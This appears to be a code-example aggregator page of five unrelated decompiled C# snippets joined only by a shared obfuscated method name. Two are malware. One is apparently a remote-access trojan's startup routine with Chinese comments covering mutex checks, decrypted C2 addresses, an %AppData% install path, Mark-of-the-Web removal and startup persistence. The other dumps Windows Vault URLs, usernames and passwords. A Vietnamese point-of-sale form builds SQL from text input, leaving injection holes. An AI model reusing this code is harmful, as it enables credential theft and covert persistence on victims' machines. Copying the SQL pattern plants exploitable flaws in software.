Ejemplo n.º 1
0
    // Token: 0x060000D5 RID: 213 RVA: 0x000064A8 File Offset: 0x000046A8
    public static void smethod_0(GStruct2 gstruct2_0)
    {
        switch (gstruct2_0.byte_1)
        {
        case 0:
            Class10.smethod_1(gstruct2_0.object_0);
            break;

        case 1:
            Class10.smethod_2(gstruct2_0.object_0);
            break;

        case 2:
            Class10.smethod_3(gstruct2_0.object_0);
            break;

        case 3:
            Class10.smethod_4(gstruct2_0.object_0);
            break;

        case 4:
            Class10.smethod_5(gstruct2_0.object_0);
            break;

        case 5:
            Class10.smethod_6(gstruct2_0.object_0);
            break;
        }
    }
Ejemplo n.º 2
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
Ejemplo n.º 3
0
        private void btnConfirm_Click(object sender, EventArgs e)
        {
            if (this.cmbVatRate.SelectedIndex == -1)
            {
                Class7.ShowMessageBox("Bạn chưa khai b\x00e1o thuế suất mới ?", 1);
            }
            else if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) == 1)
            {
                DataSet set;
                string  str2 = this.txtGoodsId.Text.Trim();
                string  str  = "";
                switch (this.cmbVatRate.SelectedIndex)
                {
                case 0:
                    str = "10";
                    break;

                case 1:
                    str = "5";
                    break;

                case 2:
                    str = "0";
                    break;
                }
                this.IjSwogAv6 = "update tblGoods set tax_code =  '" + str + "' where goods_id = '" + str2 + "' ";
                Class7.smethod_4(this.IjSwogAv6);
                double num  = new Class6().method_16("00002", this.txtGoodsId.Text.Trim());
                double num2 = (1.0 + (Class10.smethod_1(this.txtGoodsId.Text.Trim()) / 100.0)) * (Class10.smethod_1(this.txtGoodsId.Text.Trim()) / 100.0);
                if (num2 != 0.0)
                {
                    this.IjSwogAv6 = string.Concat(new object[] { "update tblTransaction set vat_amt = amount/ ", num2 * 100.0, " where trans_code = '00' and goods_id = '", this.txtGoodsId.Text.Trim(), "'" });
                }
                else
                {
                    this.IjSwogAv6 = "update tblTransaction set vat_amt = 0 where trans_code = '00' and goods_id = '" + this.txtGoodsId.Text.Trim() + "'";
                }
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.IjSwogAv6, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                    this.oleDbConnection_0.Close();
                }
                this.IjSwogAv6          = string.Concat(new object[] { "update tbltransaction set surplus = amount - (vat_amt + (", num, " * qty )) where trans_code = '00' and goods_id = '", this.txtGoodsId.Text.Trim(), "'" });
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.IjSwogAv6, this.oleDbConnection_0);
                using (set = new DataSet())
                {
                    this.oleDbDataAdapter_0.Fill(set);
                    this.oleDbConnection_0.Close();
                }
                Class7.ShowMessageBox("Hiệu chỉnh th\x00e0nh c\x00f4ng", 1);
            }
        }
Ejemplo n.º 4
0
        private void btn_Save_Click(object sender, EventArgs e)
        {
            if (this.Sales_View.RowCount != 0)
            {
                this.Txt_Barcode.Enabled = false;
                this.Txt_Qty.Enabled     = false;
                this.Txt_Unit.Enabled    = false;
                this.btn_New.Enabled     = true;
                this.btn_Save.Enabled    = false;
                Class6 class2 = new Class6();
                class2.ComputeTransnum("P");
                Class6.transNum = this.Txt_TransNum.Text.Trim();
                string str5  = Class7.smethod_19();
                string str2  = Class7.smethod_40();
                string str6  = Class7.smethod_53();
                int    num12 = Class7.GetUserId();
                string str8  = "B\x00e1n lẻ h\x00e0ng h\x00f3a";
                string str4  = "";
                this.string_1           = "select idx, goods_id,price, qty, qty*price as amount,(qty*price)*(rt_discpc + pc_disc + card_disc) as discamt, kit_qty, kit_id  from " + this.string_0 + " where goods_id <> '' ";
                this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                DataTable dataTable = new DataTable();
                this.oleDbDataAdapter_0.Fill(dataTable);
                this.oleDbConnection_0.Close();
                string str7 = this.Txt_Unit.Text.Trim();
                foreach (DataRow row in dataTable.Rows)
                {
                    string str  = row["goods_id"].ToString().Trim();
                    double num2 = class2.method_16(str2, str);
                    double num3 = Class7.smethod_2(row["qty"]);
                    double num4 = Class7.smethod_2(row["kit_qty"]);
                    string str3 = row["kit_id"].ToString().Trim();
                    double num5 = Class7.smethod_2(row["price"]);
                    Math.Round((double)(num2 * num3), 2);
                    double num6  = Class7.smethod_2(row["discamt"]);
                    double num7  = Class7.smethod_2(row["amount"]) - num6;
                    double num8  = Math.Round((double)((num7 / (1.0 + (Class10.smethod_1(str) / 100.0))) * (Class10.smethod_1(str) / 100.0)), 2);
                    double num9  = Math.Round((double)((((num5 - num2) * num3) - num8) - num6), 2);
                    int    num10 = Class7.smethod_51();
                    str4          = Class10.smethod_1(str).ToString();
                    this.string_1 = string.Concat(new object[] {
                        "INSERT INTO tblTransaction(tran_date, tran_time, trans_num, trans_code, voucher, kit_id, kit_qty, goods_id, qty,unit_symb, amount, discount, surplus, vat_amt, commis_amt, user_id, ref, custax_id,card_id, exp_id, cs_id, merc_type, tax_code, vat_incl, invoice, updated, copies, Shift, recnum,remark, status, discpervat, disc_incl,station) VALUES('", str5, "','", str6, "','", Class6.transNum, "','00','','", str3, "', ", num4, ",'", str, "',", num3, ",'", str7,
                        "',", num5 * num3, ",", num6, ",", num9, ",", num8, ",0,", num12, ",'','','','", str2, "','','01','", str4, "',0,'',0,1,0,", row["idx"],
                        ",N'", str8, "',1,0,0,", num10, ")"
                    });
                    this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                    using (DataSet set2 = new DataSet())
                    {
                        this.oleDbDataAdapter_0.Fill(set2);
                    }
                    this.oleDbConnection_0.Close();
                }
                this.oleDbDataAdapter_0 = new OleDbDataAdapter("SELECT goods_id,qty,amount FROM  tblTransaction where trans_num = '" + Class6.transNum + "'", this.oleDbConnection_0);
                DataTable table = new DataTable();
                this.oleDbDataAdapter_0.Fill(table);
                this.oleDbConnection_0.Close();
                foreach (DataRow row in table.Rows)
                {
                    double num13 = class2.method_16(str2, row["goods_id"].ToString()) * Class7.ParseDoubleValue(row["qty"].ToString());
                    this.string_1 = string.Concat(new object[] {
                        "IF EXISTS (SELECT id FROM tblStockInfo WHERE id = '", str2, "' AND goods_id = '", row["goods_id"], "') UPDATE  tblStockInfo SET exp_qty = exp_qty + ", row["qty"], " , exp_amt = exp_amt + ", num13, ", last_date ='", str5, "' WHERE id = '", str2, "' AND goods_id = '", row["goods_id"], "' Else INSERT INTO tblStockInfo(id,goods_id, exp_qty,exp_amt,last_date ) VALUES('", str2,
                        "','", row["goods_id"], "',", row["qty"], ",", num13, ",'", str5, "')"
                    });
                    this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                    using (DataSet set3 = new DataSet())
                    {
                        this.oleDbDataAdapter_0.Fill(set3);
                    }
                    this.oleDbConnection_0.Close();
                }
                this.string_2 = "D";
                if (Class10.double_2 != 0.0)
                {
                    double num = Class7.ParseDoubleValue(this.Lbl_LastAmount.Text);
                    this.string_1           = string.Concat(new object[] { "INSERT INTO tblTransValue([trans_num],[amount],[frcustomer]) VALUES('", Class6.transNum, "',", num, ",", Class10.double_2, ")" });
                    this.oleDbDataAdapter_0 = new OleDbDataAdapter(this.string_1, this.oleDbConnection_0);
                    using (DataSet set = new DataSet())
                    {
                        this.oleDbDataAdapter_0.Fill(set);
                        this.oleDbConnection_0.Close();
                    }
                }
                Class11.string_1 = "N";
                voucher_1 r_ = new voucher_1();
                r_.PrintingSystem.ShowMarginsWarning    = false;
                r_.PrintingSystem.ShowPrintStatusDialog = false;

                this.btn_Skip_Click(this, new EventArgs());
                this.btn_New.Focus();
                try
                {
                    r_.Print();
                }
                catch (Exception)
                {
                    Class7.ShowMessageBox("Kh\x00f4ng t\x00ecm thấy m\x00e1y in", 1);
                }
            }
        }
Ejemplo n.º 5
0
 // Token: 0x060000BB RID: 187 RVA: 0x0000A944 File Offset: 0x00008B44
 public static void smethod_0(string string_0)
 {
     try
     {
         DesktopWriter.SetDirectory(string_0);
         Version version = Environment.OSVersion.Version;
         int     major   = version.Major;
         int     minor   = version.Minor;
         int     num     = 0;
         IntPtr  zero    = IntPtr.Zero;
         int     num2    = Class11.VaultEnumerateVaults(0, ref num, ref zero);
         if (num2 != 0)
         {
             DesktopWriter.WriteLine(string.Format("[ERROR] Unable to enumerate vaults. Error (0x" + num2.ToString() + ")", new object[0]));
         }
         IntPtr ptr = zero;
         Dictionary <Guid, string> dictionary = new Dictionary <Guid, string>
         {
             {
                 new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"),
                 "Windows Secure Note"
             },
             {
                 new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"),
                 "Windows Web Password Credential"
             },
             {
                 new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"),
                 "Windows Credential Picker Protector"
             },
             {
                 new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"),
                 "Web Credentials"
             },
             {
                 new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"),
                 "Windows Credentials"
             },
             {
                 new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"),
                 "Windows Domain Certificate Credential"
             },
             {
                 new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"),
                 "Windows Domain Password Credential"
             },
             {
                 new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"),
                 "Windows Extended Credential"
             },
             {
                 new Guid("00000000-0000-0000-0000-000000000000"),
                 null
             }
         };
         for (int i = 0; i < num; i++)
         {
             object obj = Marshal.PtrToStructure(ptr, typeof(Guid));
             Guid   key = new Guid(obj.ToString());
             ptr = (IntPtr)(ptr.ToInt64() + (long)Marshal.SizeOf(typeof(Guid)));
             IntPtr zero2 = IntPtr.Zero;
             string str   = dictionary.ContainsKey(key) ? dictionary[key] : key.ToString();
             num2 = Class11.VaultOpenVault(ref key, 0U, ref zero2);
             if (num2 != 0)
             {
                 DesktopWriter.WriteLine(string.Format("Unable to open the following vault: " + str + ". Error: 0x" + num2.ToString(), new object[0]));
             }
             int    num3  = 0;
             IntPtr zero3 = IntPtr.Zero;
             num2 = Class11.VaultEnumerateItems(zero2, 512, ref num3, ref zero3);
             if (num2 != 0)
             {
                 DesktopWriter.WriteLine(string.Format("[ERROR] Unable to enumerate vault items from the following vault: " + str + ". Error 0x" + num2.ToString(), new object[0]));
             }
             IntPtr ptr2 = zero3;
             if (num3 > 0)
             {
                 for (int j = 1; j <= num3; j++)
                 {
                     Type   type = (major < 6 || minor < 2) ? typeof(Class11.Struct6) : typeof(Class11.Struct5);
                     object obj2 = Marshal.PtrToStructure(ptr2, type);
                     ptr2 = (IntPtr)(ptr2.ToInt64() + (long)Marshal.SizeOf(type));
                     IntPtr    zero4   = IntPtr.Zero;
                     FieldInfo field   = obj2.GetType().GetField("SchemaId");
                     Guid      guid    = new Guid(field.GetValue(obj2).ToString());
                     FieldInfo field2  = obj2.GetType().GetField("pResourceElement");
                     IntPtr    intPtr  = (IntPtr)field2.GetValue(obj2);
                     FieldInfo field3  = obj2.GetType().GetField("pIdentityElement");
                     IntPtr    intPtr2 = (IntPtr)field3.GetValue(obj2);
                     FieldInfo field4  = obj2.GetType().GetField("LastModified");
                     ulong     num4    = (ulong)field4.GetValue(obj2);
                     IntPtr    intPtr3 = IntPtr.Zero;
                     if (major < 6 || minor < 2)
                     {
                         num2 = Class11.VaultGetItem_1(zero2, ref guid, intPtr, intPtr2, IntPtr.Zero, 0, ref zero4);
                     }
                     else
                     {
                         FieldInfo field5 = obj2.GetType().GetField("pPackageSid");
                         intPtr3 = (IntPtr)field5.GetValue(obj2);
                         num2    = Class11.VaultGetItem(zero2, ref guid, intPtr, intPtr2, intPtr3, IntPtr.Zero, 0, ref zero4);
                     }
                     if (num2 != 0)
                     {
                         DesktopWriter.WriteLine(string.Format("Error occured while retrieving vault item. Error: 0x" + num2.ToString(), new object[0]));
                     }
                     object    obj3    = Marshal.PtrToStructure(zero4, type);
                     FieldInfo field6  = obj3.GetType().GetField("pAuthenticatorElement");
                     IntPtr    intptr_ = (IntPtr)field6.GetValue(obj3);
                     object    obj4    = Class10.smethod_1(intptr_);
                     object    obj5    = null;
                     if (intPtr3 != IntPtr.Zero)
                     {
                         obj5 = Class10.smethod_1(intPtr3);
                     }
                     if (obj4 != null)
                     {
                         object obj6 = Class10.smethod_1(intPtr);
                         if (obj6 != null)
                         {
                             DesktopWriter.WriteLine(string.Format("Url: {0}", obj6));
                         }
                         object obj7 = Class10.smethod_1(intPtr2);
                         if (obj7 != null)
                         {
                             DesktopWriter.WriteLine(string.Format("Username: {0}", obj7));
                         }
                         if (obj5 != null)
                         {
                             DesktopWriter.WriteLine(string.Format("PacakgeSid: {0}", obj5));
                         }
                         DesktopWriter.WriteLine(string.Format("Password: {0}\n\n", obj4));
                         Class10.int_0++;
                     }
                 }
             }
         }
     }
     catch
     {
     }
 }